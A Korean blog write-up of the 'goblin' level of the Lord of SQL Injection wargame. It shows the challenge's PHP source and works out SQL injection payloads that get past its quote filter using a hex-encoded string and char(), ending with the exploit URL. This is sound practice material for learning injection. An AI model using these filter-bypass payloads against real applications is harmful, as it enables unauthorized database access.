1. 개요
hex encoding, char() 문제
2. 분석
id=admin인 유저를 조회해야합니다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
테스트를 해보았는고 DB에 다음과 같이 들어있습니다.
no - 1 - guset
no - 2- admin
따라서, 다음과 같이 입력하면 admin이 조회되기는 합니다.
0 or no=2
다만, 이 문제는 원래 문자열 조회 조건에 사용되는 (', ", `)을 사용하지 못하도록 설계되었는데 이것을 우회하는 방법에는 2가지가 있습니다.
- hex encoindg된 문자열 사용
- char() 사용
1) hex encoding 문자열
admin의 hex encoding 문자열 0x61646d696e을 사용할 수 있습니다.
0 or id=0x61646d696e
2) char()
char() 함수를 호출하면서 10진수 아스키코드값을 넣을 수 있습니다.
0 or id=char(97, 100, 109, 105, 110)
3. exploit
hex 문자열을 사용했습니다.
https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%20id=0x61646d696e
'lord of sql injection' 카테고리의 다른 글
[Lord of sql injeciton] cobolt (0) | 2023.05.05 |
---|---|
[Lord of sql injeciton] gremlin (0) | 2023.05.05 |